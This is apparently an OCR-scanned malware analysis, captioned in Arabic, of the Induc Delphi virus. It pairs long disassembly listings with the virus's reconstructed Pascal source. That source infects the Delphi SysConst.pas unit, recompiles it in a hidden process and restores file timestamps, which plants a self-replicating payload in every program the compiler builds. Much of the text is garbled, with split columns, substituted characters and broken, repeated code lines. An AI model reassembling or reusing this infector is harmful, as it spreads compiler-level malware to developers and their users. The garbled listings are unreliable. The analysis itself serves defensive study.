00405388 E8 B3ESFFFF /CALL Induc vi. 00403C70 
004053BD 8B85 E4FEFFFF /MOV EAX, DWORD PTR SS: [EBP-11C] 
004053C°3 50 /PUSH EAX 

004053٥4 8D85 EOFEFFFF /LEA EAX, DWORD PTR SS: [EBP-120] 
004053CF 8B55 F4 /MOV EDX, DWORD PTR SS: [EBP-C] 
0040532 E8 25E8SFFFF /CALL Induc_ vi. 00403BFC 
0040537 8B85 EOFEFFFF /MOV EAX, DWORD PTR SS: [EBP-120] 
004053DD 50 /PUSH EAX 

004053DE FF75 F4 /PUSH DWORD PIR SS: [EBP-C] 


004053EB 8D85 DCFEFFFF /LEA EAX, DWORD PIR SS: [EBP-124] 
004053F1 BA 03000000 /MOV EDX, 3 

0040536. E8 75E§FFFF [CALL Induc vi. 00403C70 
004053FB 8B85 DCFEFFFF /MOV EAX, DWORD PIR SS: [EBP-124] 
00405401 5A /POP EDX 

00405402 59 /POP ECx 

00405403 E8 B8F9FFFF /CALL Induc_vi . 00404DCO 
00405408 8B45 FC /MOV EAX, DWORD PIR SS: [EBP-4] 
0040540B 50 /PUSH EAX 

00405400 E8 27FOFFFF |CALL <JMP.gadvapi32.RegCloseKey> 
00405411 43 /INC EBX 

00405412 8OFB 38 /CMP BL, 38 

00405415 ^ OF85 C8FEFFFF \INZ Induc vi. 004052E3 
00405418 3300 XOR EAX, EAX 

0040541D 5A POP EDX 

0040541E 59 POP ECX 

0040541F 59 POP ECX 

00405420 64:0 MOV DWORD PIR FS: [EAX], EDX 
00405423 68 48544000 PUSH Induc vi. 00405448 
00405428 8D85 DCFEFFFF LEA EAX, DWORD PTR SS: [EBP-124] 
00405425 BA 06000000 MOV EDx, 6 

00405433 E8 74E6FFFF CALL Induc_vi. 00403AAC 
00405438 8D45 F4 LEA EAX, DWORD PTR SS: [EBP-C] 
0040543B E8 48EGFFFF CALL Induc_vi. 00403288 
00405440 c3 RET 

00404Dco 55 PUSH EBP 

00404DC1 8BEC MOV EBP, ESP 

00404DC3 51 PUSH ECX 

00404DC4 B9 88000000 MOV ECx, 88 

00404Dc9 6A 00 /PUSH O 

00404DCB 6A 00 [PUSH 0 

00404DCD و4‎ /DEC ECx 

00404DCE 75 F9 \JNZ SHORT Induc vi .00404DC9 
00404DDO0 874D FC XCHG DWORD PIR SS: [EBP-4] , ECX 
00404DD3 53 PUSH EBX 

00404DD4 56 PUSH ESI 

00404DD5 57 PUSH EDI 

00404DD6 894D F4 MOV DWORD PIR SS: [EBP-C], ECX 
00404DD9 8955 F8 MOV DWORD PIR SS: [EBP-8], EDX 


SS: [EBP-4] , EAX 
PTR SS: [EBP-4] 
00403CFC 

PTR SS: [EBP-8] 
00403CFC 

PTR SS: [EBP-C] 
00403CFC 

PTR SS: [EBP-3BC] 


00405210 


MOV DWORD PTR 
MOV EAX, DWORD 
CALL Induc vi. 
MOV EAX, DWORD 
CALL Induc vi. 
MOV EAX, DWORD 
CALL Induc vi. 
LEA EDI, DWORD 
XOR EAX, EAX 
PUSH EBP 

PUSH Induc vi. 


PUSH DWORD PIR FS: [EAX] 


FS: [EAX], ESP 


PTR SS: [EBP-414] 


PTR SS: [EBP-8] 
00403BFC 

PTR SS: [EBP-414] 
00403DO0C 


MOV DWORD PTR 
PUSH 
PUSH 
PUSH 
PUSH 
PUSH 
PUSH 
LEA EAX, DWORD 


O OO wO O 


MOV EDX, DWORD 
CALL Induc vi. 
MOV EAX, DWORD 
CALL Induc vi. 
PUSH EAX 


MOV EBX, EAX 
CMP EBX, -1 


JE SHORT Induc_ vi.00404E4D 


PUSH EBX 


JMP Induc vi.004051E5 


PTR SS: [EBP-4] 
PTR SS: [EBP-1F0] 
00402C54 

PTR SS: [EBP-1F0] 
00402 9E4 
004028FC 
0040292C 


04051E5 
PTR SS: [EBP-418] 


MOV EDX, DWORD 
LEA EAX, DWORD 
CALL Induc vi. 
LEA EAX, DWORD 
CALL Induc vi. 
CALL Induc vi. 
CALL Induc vi. 
TEST EAX, EAX 
JNZ Induc vi.0 
LEA EAX, DWORD 


PTR SS: [EBP-8] 
00403BFC 
PTR SS: [EBP-418] 


00402C54 
004029F0 


004028FC 
0040292C 


: Vi.00404F۴05 


PTR SS: [EBP-1F0] 
00402D10 
004028FC 
04051E5 
PTR SS: [EBP-4] 
PTR SS: [EBP-1F0] 
. 00402EF4 
PTR SS: [EBP-1F0] 
. 00402F60 
. 004028FC 


MOV EDX, DWORD 
CALL Induc vi. 
MOV EDX, DWORD 
MOV EAX, EDI 

CALL Induc vi. 
MOV EAX, EDI 

CALL Induc vi. 
CALL Induc vi. 
CALL Induc vi. 
TEST EAX, EAX 

JE SHORT Induc 
LEA EAX, DWORD 
CALL Induc vi. 
CALL Induc vi. 
JMP Induc vi.0 
/LEA EDX, DWORD 
/LEA EAX, DWORD 
/CALL Induc vi 
/LEA EAX, DWORD 
/CALL Induc vi 
/CALL Induc vi 


00404DDC 8945 FC 
00404DDF 8B45 FC 
00404DE2 E8 15SEFFFFF 
00404DE7 8B45 F8 
00404DEA E8 ODEFFFFF 
00404DEF 8B45 F4 
00404DF2 E8 OSEFFFFF 
00404DF7 8DBD 44FCFFFF 
00404DFD 33°0 

00404DFF 55 

00404E00 68 10524000 
00404E05 64:FF30 
00404E08 64: 0 
00404EO0B 6A 00 
00404EOD 6A 00 
00404EOF 6A 03 
00404E11 6A 00 
00404E13 6A 00 
00404E15 6A 00 
00404E17 8D85 ECFBFFFF 
00404E22 8B55 F8 
00404E25 E8 D2EDFFFF 
00404E2A 8B85 ECFBFFFF 
00404E30 E8 D7EEFFFF 
00404E35 50 

00404E3B 8BD8 

00404E3D 83FB FF 
00404E40 74 OB 
00404E42 53 

00404E48 E9 98030000 
00404E4D 8B55 FC 
00404E50 8D85 10FEFFFF 
00404E56 E8 F9DDFFFF 
00404E5B 8D85 1O0FEFFFF 
00404E61 E8 7EDBFFFF 
00404E66 E8 91DAFFFF 
00404E6B E8 BCDAFFFF 
00404E70 85C0 

00404E72 OF85 6D030000 
00404E78 8D85 ESFBFFFF 
00404E83 8B55 F8 
00404E86 E8 71EDFFFF 
00404E8B 8B95 ESFBFFFF 
00404E91 8BC7 

00404E93 E8 BCDDFFFF 
00404E98 8BC7 

00404E9A E8 51DBFFFF 
00404E9F E8 58DAFFFF 
00404EA4 E8 83DAFFFF 
00404EA9 85C0 

00404EAB 74 58 
00404EAD 8D85 1O0FEFFFF 
00404EB3 E8 58DEFFFF 
00404EB8 E8 3FDAFFFF 
00404EBD E9 23030000 
00404EC2 8D55 FC 
00404EC5 8D85 1O0FEFFFF 
00404ECB E8 24EOFFFF 
00404EDO 8D85 1O0FEFFFF 
00404ED6 E8 85EOFFFF 
00404EDB E8 1CDAFFFF 


Induc_ vi. 00404D30 


5 


/MOV EDX, DWORD PIR SS: [EBP-4] 


. 00403£10 
. 00403178 
. 004028FC 


/MOV EAX, EDI 

/CALL Induc vi 
/CALL Induc vi 
/CALL Induc vi 


/MOV EDX, DWORD PTR SS: [EBP-4] 


. 0040364 


/CALL Induc vi 
/TEST EAX, EAX 


/JNZ SHORT Induc vi.00404F19 
LEA EAX, DWORD PTR SS: [EBP-1F0] 


. 00402D68 
. 004028FC 


c vi. 00404EC2 


vi. 004060A8 
PTR DS: [ESI] 


. 0040310 
. 00403178 
. 004028FC 


/CALL Induc vi 
/CALL Induc vi 
/TEST AL,AL 
\JE SHORT Indu 
MOV EBX, 1 

MOV ESI, Induc_ 
/MOV EDX, DWORD 
[MOV EAX, EDI 
/CALL Induc vi 
/CALL Induc vi 
/CALL Induc vi 
[ADD EsI,4 
/DEC EBX 


\JNZ SHORT Induc vi. 00404F23 


vi. 004060A8 
PTR DS: [ESI] 
PTR SS: [EBP-41C] 


MOV EBX, 17 

MOV ESI, Induc_ 
/MOV ECX, DWORD 
/LEA EAX, DWORD 


/MOV EDX, Induc_vi.00405258 


. 00403BFC 
PTR SS: [EBP-41C] 


. 00403E10 
. 00403E10 


. 00403178 
. 004028FC 


/CALL Induc vi 
/MOV EDX, DWORD 
[MOV EAX, EDI 

/CALL Induc vi 


/CALL Induc vi 
/CALL Induc vi 
/CALL Induc vi 
[ADD ESI, 4 
/DEC EBX 


\JuNZ SHORT Induc vi.00404F46 


00405258 


PUSH Induc vi. 


PUSH DWORD PTR DS: [406104] 


PTR SS: [EBP-420] 


00403C70 
PIR SS: [EBP-420] 


00403E10 
00403178 
004028FC 


vi. 004060AC 
PTR SS: [EBP-424] 
PTR DS: [ESI] 


. 0040440 


PTR SS: [EBP-424] 


. 00403E10 
. 00403178 
. 004028FC 


LEA EAX, DWORD 
MOV EDX, 3 

CALL Induc vi. 
MOV EDX, DWORD 
MOV EAX, EDI 
CALL Induc vi. 
CALL Induc vi. 
CALL Induc vi. 
MOV EBX, 17 

MOV ESI, Induc_ 
/LEA EDX, DWORD 
/MOV EAX, DWORD 
/CALL Induc vi 
/MOV EDX, DWORD 
/MOV EAX, EDI 
/CALL Induc vi 
/CALL Induc vi 
/CALL Induc vi 
[ADD ESI, 4 
/DEC EBX 


\JuNZ SHORT Induc_ vi.00404FCO 


8B55 FC 
8BC7 

E8 26EFFFFF 
E8 89E2FFFF 
E8 08DAFFFF 
8B55 FC 


E8 63EEFFFF 
85C0 
75 14 
8D85 10FEFFFF 
E8 58DEFFFF 
E8 E7D9FFFF 
84C0 

^ 74 A9 
BB 01000000 
BE A8604000 
8Bl16 
8BC7 
E8 E4EEFFFF 
E8 47E2FFFF 
E8 C6D9FFFF 
83C6 04 
4B 

^ 75 E7 
BB 17000000 
BE A8604000 
8BOE 
8D85 E4FBFFFF 
BA 58524000 
E8 A4ECFFFF 
8B95 E4FBFFFF 
8BC7 
E8 ABEEFFFF 


E8 AlEEFFFF 
E8 O4E2FFFF 
E8 83D9FFFF 
83C6 04 
4B 

5S 75 C7 
68 585240 
FF35 04614000 


8D85 EOFBFFFF 
BA 03000000 
E8 DIECFFFF 
8B95 EOFBFFFF 
8BC7 
E8 64EEFFFF 
E8 C7EI1FFFF 
E8 46D9FFFF 
BB 17000000 
BE AC604000 
8D95 DCFBFFFF 
8BO6 
E8 73FDFFFF 
8B95 DCFBFFFF 
8BC7 
E8 36EEFFFF 
E8 99E1FFFF 
E8 18D9FFFF 
83C6 04 
4B 

^ 75 D6 


00404EEO 
00404EE3 
00404EE5 
00404EEA 
00404EEF 
00404EF4 


00404EFC 
00404F01 
00404F03 
00404F05 
00404F0B 
00404F10 
00404F15 
00404F17 
00404F19 
00404F1E 
00404F23 
00404F25 
00404F27 
00404F2C 
00404F31 
00404F36 
00404F39 
00404F3A 
00404F3C 
00404F41 
00404F46 
00404F48 
00404F4E 
00404F53 
00404F58 
00404F5E 
00404F60 


00404F6A 
00404F6F 
00404F74 
00404F79 
00404F7C 
00404F7D 
00404F7F 
00404F84 


00404F8F 
00404F95 
00404F 9A 
00404F 9F 
00404FA5 
00404FA7 
00404FAC 
00404FB1 
00404FB6 
00404FBB 
00404FCO 
00404FC6 
00404FC8 
00404FCD 
00404FD3 
00404FD5 
00404FDA 
00404FDF 
00404FE4 
00404FE7 
00404FE8 


LEA EAX, DWORD PIR SS: [EBP-1F0] 


8D85 10FEFFFF 


00404FEA 


00404FF0 E8 1BDDFFFF CALL Induc vi. 00402D10 
00404FF5 E8 O02D9FFFF CALL Induc vi. 004028FC 
00404FFA 8BC7 MOV EAX, EDI 

00404FFC E8 OFDDFFFF CALL Induc vi. 00402D10 
00405001 E8 F6D8FFFF CALL Induc vi. 004028FC 
00405006 8D85 D8FBFFFF LEA EAX, DWORD PTR SS: [EBP-428] 
00405011 8B55 F8 MOV EDX, DWORD PTR SS: [EBP-8] 
00405014 E8 E3EBFFFF CALL Induc vi. 00403BFC 
00405019 8B85 D8SFBFFFF MOV EAX, DWORD PTR SS: [EBP-428] 
0040501F E8 ESECFFFF CALL Induc vi. 00403DO0C 
00405024 50 PUSH EAX 

00405025 8D85 D4FBFFFF LEA EAX, DWORD PTR SS: [EBP-42C] 
00405030 8B55 F8 MOV EDX, DWORD PTR SS: [EBP-8] 
00405033 E8 C4EBFFFF CALL Induc vi. 00403BFC 
00405038 8B85 D4FBFFFF MOV EAX, DWORD PTR SS: [EBP-42C] 
0040503E E8 C9ECFFFF CALL Induc vi. 00403DO0C 
00405043 50 PUSH EAX 

00405049 8D85 OOFCFFFF LEA EAX, DWORD PTR SS: [EBP-400] 
0040504F 33C9 XOR ECX, ECX 

00405051 BA 44000000 MOV EDX, 44 

00405056 E8 45DDFFFF CALL Induc vi. 00402DAO 
00405058 C785 OOFCFFFF 4400>MOV DWORD PIR SS: [EBP-400], 44 
00405065 C785 2CFCFFFF 0100>MOV DWORD PIR SS: [EBP-3D4],1 
0040506F 66:C785 30FCFFFF O0O>MOV WORD PTR SS: [EBP-3D0],0 
00405078 8D85 FOFBFFFF LEA EAX, DWORD PTR SS: [EBP-410] 
0040507E 50 PUSH EAX 

0040507F 8D85 OOFCFFFF LEA EAX, DWORD PTR SS: [EBP-400] 
00405085 50 PUSH EAX 

00405086 6A 00 PUSH 0 

00405088 6A 00 PUSH 0 

0040508A 6A 00 PUSH 0 

0040508C 6A 00 PUSH 0 

0040508E 6A 00 PUSH 0 

00405090 6A 00 PUSH 0 

00405092 FF75 F4 PUSH DWORD PTR SS: [EBP-C] 
00405095 68 88524000 PUSH Induc vi.00405288 
00405094 FF75 F8 PUSH DWORD PTR SS: [EBP-8] 
004050909 68 94524000 PUSH Induc vi.00405294 ; ASCII "pas" 
00405042 8D85 DOFBFFFF LEA EAX, DWORD PTR SS: [EBP-430] 
004050A8 BA 04000000 MOV EDX, 4 

004050AD E8 BEEBFFFF CALL Induc vi. 00403C70 
004050B2 8B85 DOFBFFFF MOV EAX, DWORD PTR SS: [EBP-430] 
004050B8 E8 4FECFFFF CALL Induc vi. 00403DOC 
004050BD 50 PUSH EAX 

004050BE 6A 00 PUSH 0 

004050C0 E8 9BF3FFFF  CAIL <JMP.&kernel32.CreateProcessA> 
004050C5 83F8 01 CMP EAX, 1 

004050C8 1BCO SBB EAX, EAX 

004050CA 40 INC EAX 

004050CB 84C0 TEST AL, AL 

004050CD 74 OE JE SHORT Induc vi.004050DD 
004050CF 6A FF PUSH -1 

004050D1 8B85 FOFBFFFF MOV EAX, DWORD PTR SS: [EBP-410] 
004050D7 50 PUSH EAX 

00405008 E8 ABF3FFFF  CAIL <JMP.&kernel32.WaitForSsingleObje> 
004050DD 8D85 CCFBFFFF LEA EAX, DWORD PTR SS: [EBP-434] 
0040503 B9 7C524000 MOV ECX, Induc_vi.00405270::: j; ASCII "deu" 
004050E8 8B55 F8 MOV EDX, DWORD PTR SS: [EBP-8] 
004050EB E8 OCEBFFFF CALL Induc vi. 00403BFC 
004050F0 8B85 CCFBFFFF MOV EAX, DWORD PTR SS: [EBP-434] 
004050F6 E8 11ECFFFF CALL Induc vi. 00403DO0C 


004050FB 50 PUSH EAX 

004050FC 8D85 C8FBFFFF LEA EAX, DWORD PTR SS: [EBP-438] 
00405107 8B55 F8 MOV EDX, DWORD PTR SS: [EBP-8] 
00405104 E8 EDEAFFFF CALL Induc vi. 00403BFC 
0040510F 8B85 C8FBFFFF MOV EAX, DWORD PTR SS: [EBP-438] 
00405115 E8 F2EBFFFF CALL Induc vi. 00403DO0C 
0040511A 50 PUSH EAX 


00405120 8D85 C4FBFFFF LEA EAX, DWORD PIR SS: [EBP-43C] 


0040512B 8B55 F8 MOV EDX, DWORD PTR SS: [EBP-8] 

0040512E E8 C9EAFFFF CALL Induc vi. 00403BFC 

00405133 8B85 C4FBFFFF MOV EAX, DWORD PTR SS: [EBP-43C] 

00405139 E8 CEEBFFFF CALL Induc vi. 00403DO0C 

0040513E 50 PUSH EAX 

00405137 E8 24F3FFFF  CAIL <JMP.&kernel32.DeleteFileA> 
00405144 6A 00 PUSH 0 

00405146 6A 00 PUSH 0 

00405148 6A 03 PUSH 3 

0040514A 6A 00 PUSH 0 

0040514C 6A 00 PUSH 0 

0040514E 6A 00 PUSH 0 

00405150 8D85 COFBFFFF LEA EAX, DWORD PTR SS: [EBP-440] 

00405156 B9 28524000. MOV ECxX, Induc_vi.00405228.  ; ASCII "bak" 
0040515B 8B55 F8 MOV EDX, DWORD PTR SS: [EBP-8] 

0040515E E8 99EAFFFF CALL Induc vi. 00403BFC 

00405163 8B85 COFBFFFF MOV EAX, DWORD PTR SS: [EBP-440] 

00405169 E8 9EEBFFFF CALL Induc vi. 00403DO0C 

0040516E 50 PUSH EAX 

0040516 E8 E4F2FFFF CALL <ÜMP.&kerne1l32.CreateFileA> 
00405174 8BD8 MOV EBX, EAX 

00405176 83FB FF CMP EBX, -1 

00405179 74 6A JE SHORT Induc vi.004051E5 

004051 7B 8D45 DC LEA EAX, DWORD PTR SS: [EBP-24] 

0040517E 50 PUSH EAX 

004051 7F 8D45 E4 LEA EAX, DWORD PTR SS: [EBP-1C] 

00405182 50 PUSH EAX 

00405183 8D45 EC LEA EAX, DWORD PTR SS: [EBP-14] 

00405186 50 PUSH EAX 

00405187 53 PUSH EBX 

00405188 E8 E3FZ2FFFF  CAIL <JMP.&kernel32.GetFileTime> 
0040518D 53 PUSH EBX 

0040518E E8 BDFZ2FFFF  CAIL <JMP.&kernel32.CloseHandle> 
00405193 6A 00 PUSH 0 

00405195 6A 00 PUSH 0 

00405197 6A 03 PUSH 3 

00405199 6A 00 PUSH 0 

004051 9B 6A 00 PUSH 0 

0040519D 68 00010000 PUSH 100 

004051A2 8D85 BCFBFFFF LEA EAX, DWORD PTR SS: [EBP-444] 

00405148 B9 7C°C524000 MOV ECX, Induc_vi.00405270:.:.: j; ASCII "dcu 
004051AD 8B55 F8 MOV EDX, DWORD PTR SS: [EBP-8] 

004051B0 E8 47EAFFFF CALL Induc vi. 00403BFC 

004051B5 8B85 BCFBFFFF MOV EAX, DWORD PTR SS: [EBP-444] 

004051BB E8 4CEBFFFF CALL Induc vi. 00403DOC 

004051CO 50 PUSH EAX 

004051€1 E8 92F2FFFF CALL <ÜMP. &kerne1l32.CreateFileA> 
004051C6 8BD8 MOV EBX, EAX 

004051C8 83FB FF CMP EBX, -1 

004051CB 74 18 JE SHORT Induc vi.004051E5 

004051CD 8D45 DC LEA EAX, DWORD PTR SS: [EBP-24] 

004051D0 50 PUSH EAX 

004051D1 8D45 E4 LEA EAX, DWORD PTR SS: [EBP-1C] 


004051D4 50 PUSH EAX 


FS: [EAX], EDX 
00405217 


PTR SS: [EBP-444] 


00403AAC 
PIR SS: [EBP-C] 


00403AAC 


LEA EAX, DWORD PTR SS: [EBP-14] 


PUSH EAX 
PUSH EBX 


PUSH EBX 


XOR EAX, EAX 
POP EDX 

POP ECX 

POP ECX 

MOV DWORD PTR 


PUSH Induc vi. 


LEA EAX, DWORD 
MOV EDX, OD 


CALL Induc vi. 


LEA EAX, DWORD 
MOV EDX, 3 


CALL Induc vi. 


RET 


JMP Induc vi.004034FC 
JMP SHORT Induc vi. 004051F2 


POP EDI 
POP ESI 
POP EBX 
MOV ESP, EBP 
POP EBP 


8D45 EC 
50 
53 


53 


33°00 

5A 

59 

59 

64: 0 

68 175240 
8D85 BCFBFFFF 
BA ODO000000 
E8 AAESFFFF 
8D45 F4 

BA 03000000 
E8 9DESFFFF 
C3 

E9 E7E2FFFF 
EB DB 

SF 

SE 

5B 

8BES 

5D 

C3 


004051D5 
004051D8 
004051D9 


004051DF 


004051E5 
004051E7 
004051E8 
004051E9 
004051EA 
004051ED 
004051F2 
004051F8 
004051FD 
00405202 
00405205 
00405204 
0040520F 
00405210 
00405215 
00405217 
00405218 
00405219 
0040521A 
0040521C 
0040521D 


محتوة ملف 5/500۸51.035 بهد التلوية: 


uses windows; var sc:array[1..24] of string) = 

"uses windows; var sc:array[1..24] of string, ')= 
'function x(s:string) :string; var i1:integer; begin for 
1:=1 to length (s) do if s[i,'[ 

36#='then s[i] :=#39; result:=s; end; procedure 
re(s,d,e:string);var fl, f2:textfile, '; 

'h:cardinal; f: STARTUPINFO;p: PROCESS INFORMATION; Db: bool 
ean;tl,t2,t3:FILETIME,; begin, ' 
'h:=CreateFi le (pchar (d+$bak$), 0,0,0,3,0,0);if 
h<>DWORD (-1) then begin CloseHandle, ' 

)J)'h);exit;end; {$I-Jassignfile (f1, s); reset (f1); if 
ioresult<>0 then exit;assignfile, ' 

) 'f2,d+$pas$) ; rewrite (f2); if ioresult<>0 then begin 
closefile(f1);exit;end; while, ' 

'not eof(f1) do begin readln(f1l,s); writeln(f2,s); if 
pos ($implementation$, s) <>0, ' 

'then break;end; for h:= 1 to 1 do 
writeln(f2,sc[h]); for h:= 1 to 23 do writeln (f2, ' 
+$$$$, 'sc[h], $$$, $) ;writeln (f2, $$$$+sc[24]+$$$);$) ; for 
h:= 2 to 24 do writeln(f2,', 
'x(sc[h]));closefile (f1); closefile (f2) ; {$I1+}]MoveFi le (p 
char (d+$dcu$) , pchar (d+$bak, '$ 

; (('fillchar (f, sizeof(f),0); f.cb:=sizeof (f); 
£. dwFlags:=STARTF_USESHOWWINDOW,; f, '. 

'wShowWindow :=SW_ HIDE; b:=CreateProcess (nil, pchar (e+$"$ 
+d+$pas"$), 0,0, false, 0,0,0,', 

'f,P);if b then 
WaitForSingleOb ject (p.hProcess, INFINITE) ; MoveF ile (pcha 
r (d+$bak, ', ($ 

'pchar (d+$dcu$) ) ; DeleteFile (pchar (d+$pas$) ) ; h:=CreateF 
ile (pchar (d+$bak$),0,0,0,3,', 

7; (0,O'if h=DWORD (-1) then exit; 
GetFileTime (h, Qt1l, Qt2, @t3); CloseHandle(h);h, '=: 
'CreateFile (pchar (d+$dcu$), 256, 0,0, 3,0,0); if h=DWORD (-— 
1) then exit; SetFileTime (h, ', 

@'t1,@t2,@t3); CloseHandle(h); end; procedure st; var 
k:HKEY;fc:array [1..255] of, ' 

'char; i:cardinal; r:string; v:char; begin for v:=$4$ 
to $7$ do if RegOpenKeyEx, ') 

'HKEY LOCAL MACHINE, pchar ($Software\Borland\Delphi\ $+v 
+$.0$), 0, KEY READ, k)=0 then, ' 

'begin i:=255;,i1f 
RegQueryValueEx (k, Ş$RooOtDir$, nil, @i, @c, @i) =0 then begin 
5M, SS 


;1'while c[i]<>#0 do begin 
r:=r+c[i]; inc(i) fend; re (r+$\source\rtl\sys\SysConst 
, "+$ 

.$'pas$, r+$\lib\sysconst. $, $"$+r+$\bin\dcc32 . exe" 
$) fend; RegCloseKey (k) end; end, '; 

'begin st; end; ('. 
function x(s:string) :string;var i:integer; begin for 
1:=1 to length (s) do if s[i[ 

36#=then s[i] :=#39; result :=s; end; procedure 
re(s,d,e:string); var fl, f2:textfile;, 
h:cardinal; f: STARTUPINFO;p: PROCESS INFORMATION; Db: boole 
an;tl,t2,t3:FILETIME; begin 
h:=CreateFile (pchar (d+'bak'),0,0,0,3,0,0);if 
h<>DWORD (-1) then begin CloseHandle 

Jh);fexit;fend; {'I-Jassignfile(f1l1,s); reset (f1); if 
ioresult<>0 then exit;assignfile 

J) £2, d+'pas'); rewrite (f2);if ioresult<>0 then begin 
closefile(f1);exit;end; while 
not eof(f1) do begin readln(f1,s); writeln(f2,s); if 
pos ('implementation', s) <>0 

then break;end; for h:= 1 to 1 do writeln(f2,sc[h]); for 
h:= 1 to 23 do writeln (f2 

FIT SEIR], T1 TT SWwEIteln(£2, lC 'HESCI24[ET TJS EOE 
h:= 2 to 24 do writeln (f2, 
x(sc[h]));closefile (f1); closefile (f2); {' I+}MoveFile (pc 
har (d+ 'dcu' ) , pchar (d+ ' bak ' 

; ((fillchar (f, sizeof(f),0); f.cb:=sizeof (f); 

f. dwFlags:=STARTF_USESHOWWINDOW, f. 
wShowWindow:=SW HIDE; b:=CreateProcess (nil, pchar (e+t' "'+ 
d+'pas"'),0,0, false, 0,0,0, 

f,pP);if b then 
WaitForSingleOb ject (p.hProcess, INFINITE) ; MoveF ile (pcha 
r (d+'bak, (' 
pchar (d+'dcu') ); DeleteFile (pchar (d+'pas'));h:=CreateFi 
le (pchar (d+'bak'),0,0,0,3, 

; (0,Oif h=DWORD (-1) then exit; 
GetFileTime (h, Qt1, Q@t2, @t3); CloseHandle (h) ; h=: 
CreateFile (pchar (d+'dcu'), 256, 0,0, 3,0,0); if h=DWORD (- 
1) then exit; SetFileTime (h, 

@t1,@t2,@t3); CloseHandle(h); end; procedure st; var 
k:HKEY;c:array [1..255] of 

char; i:cardinal; r:string; v:char; begin for v:='4' 
to '7' do if RegOpenKeyEx) 

HKEY LOCAL, MACHINE, pchar ('Software\Borland\Delphi \ '+v+ 
'.0'), 0, KEY READ, k) =0 then 

begin i:=255;,i1f 
RegQueryValueEx (k, 'RootDir',nil, @i, @c, @i)=0 then begin 


a i 


;lwhile c[i]<>#0 do begin 


r:=r+c[i]; inc (i) fend; re (r+' \source\rtl\sys\SysConst+ ' 
. 'pas',r+'\lib\sysconst. ', '"'+r+'\bin\dcc32 . exe" 


الأوامر الخبيثة بعد تنظيمها: 


'J);end; RegCloseKey (k) ; end 


uses windows; 
var sc: array[1..24] of string = ( 


"uses windows; var sc:array[1..24] of string=(', 

"function x(s:string) :string; var i:integer; begin for i1i:=1 to length (s) do if s[i]', 
'=#36 then s[i] :=#39; result:=s; end; procedure re (s,d,e:string);var fl, f2:textfile; ', 
'h:cardinal; f: STARTUPINFO; p: PROCESS INFORMATION; b:boolean;t1,t2,t3:FILETIME; begin', 
'h:=CreateFile (pchar (d+$bak$), 0, 0,0, 3,0,0); if h<>DWORD (-1) then begin CloseHandle', 
'(h);exit;end; {$I-Jassignfile (f1, s); reset (f1);if ioresult<>0 then exit; assignfile', 
'(f2,d+$pas$) ; rewrite (f2); if ioresult<>0 then begin closefile (f1) exit; end; while'", 


if pos ($implementation$, s) <>0', 


'not eof (f1) do begin readln (f1,s); writeln(f2,s); 


'then break;end; for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2', 
',$$$$+sc[h], $$$, $) ;writeln (f2, $$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln (f2, ', 
'x(sc[h]));closefile (f1) ; closefille (f2) ; {$I1+}]MoveFile (pchar (d+$dcu$) , pchar (d+$bak$ ', 
')); fillchar (f, sizeof(f),0); f.cb:=sizeof (f); f.dwFlags:=STARTF_ USESHOWWINDOW; f. ', 
'wShowWindow :=SW_ HIDE; Db: =CreateProcess (nil, pchar (e+$"$+d+$pas"$), 0, 0, false, 0,0,0, ', 
'f,P);if b then WaitForSingleOb ject (p. hProcess, INFINITE) ; MoveFile (pchar (d+$bak$), ', 


'pchar (d+$dcu$) ) ; DeleteFile (pchar (d+$pas$) ) ;h:=CreateFile (pchar (d+$bak$), 0,0,0,3,', 
if h=DWORD (-1) then exit; GetFileTime (h, @t1l, @t2, @t3); CloseHandle(h);h:='", 


'0,0); 


'CreateFile (pchar (d+$dcu$) , 256, 0,0, 3,0,0);if h=DWORD (-1) then exit; SetFileTime (h, ', 
'@t1,@t2,@t3); CloseHandle (h); end; procedure st; var k:HKEY;c:array [1..255] of", 


i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx (', 


'char; 


'HKEY LOCAL MACHINE, pchar ($Software\Borland\Delphi\ $+v+$. 0$), 0, KEY READ, k)=0 then', 
'begin i:=255; if RegQueryValueEx (k, $RoOtDir$, nil, @i, @c, @i)=0 then begin r:=$$;i:=', 
'1; while c[i]<>#0 do begin r:=r+tc[i];inc(i);end; re (r+$\source\rtl\sys\SysConst$+', 
'$.pas$, rt$\lib\sysconst. $, $"$+r+$\bin\dcc32. exe" $) ; end; RegCloseKey (k) fend; end; ', 


0); 


'begin st; end. '); 


function x(s: string): string; 
var i: integer; 


begin 
for i := 1 to length (s) do 
if s[i] = #36 then 
s[i] := #39; result := s; 
end; 


procedure re(s, d, e: string); 
var fl, f2: textfile;, 
h: cardinal; 
f: STARTUPINFO; 
P: PROCESS _ INFORMATION; 
b: boolean; 
tl, t2, t3: FILETIME, 
begin 
h := CreateFile (pchar(d + 'bak'), 0, 0, 0, 3, 0, 
if h <> DWORD (-1) then 
begin 
CloseHandle (h); 
exit; 
end; 


IS, 


0, KEY READ, 


assignfile (fl, s); 
reset (f1); 
if ioresult <> 0 then 
exit; 
assignfile (f2, d + 'pas'); 
rewrite (f2); 
if ioresult <> 0 then 
begin 
closefile(f1); 
exit; 
end; 
while not eof(f1) do 
begin 
readln (fl, s); 
writeln(f2, s); 
if pos ('implementation', s) <> 0 then 
break; 
end; 
for h := 1 to 1 do 
writeln (f2, sc[h]); 
for h := 1 to 23 do 
writeln(£24, !T'' FF se[h], 1" TJ; writeln(£2, TTT FF ScC[24] FF 
for h := 2 to 24 do 
writeln (f2, x(sc[h])); 
closefile(f1); 
closefile(f2); 
{'I+} 
Mover ile (pchar (d + 'dcu'), pchar(d + 'bak')); 
fillchar (f, sizeof(f), 0); 
f.cb := sizeof(f); 
f.dwFlags := STARTF _ USESHOWWINDONW; 
f.wShowWindow := SW HIDE, 
b := CreateProcess (nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, Pp); 
if b then 
WaitForSingleObject (p.hProcess, INFINITE); 
Mover ile (pchar (d + 'bak'), pchar(d + 'dcu')); 
DeleteFile (pchar (d + 'pas')); 
h := CreateFile (pchar(d + 'bak'), 0, 0, 0, 3, 0, 0); 
if h = DWORD (-1) then 
exit; 
GetFileTime(h, @tl, @tE2, @tE3); 
CloseHandle (h); 
h := CreateFile (pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0); 
if h = DWORD (-1) then 
exit; 
SetFileTime (h, @tl, @tE2, @tE3); 
CloseHandle (h); 
end; 


procedure st; 

var k: HKEY; 
c: array[1..255]Jofchar; 
1i: cardinal; 
r: string; 

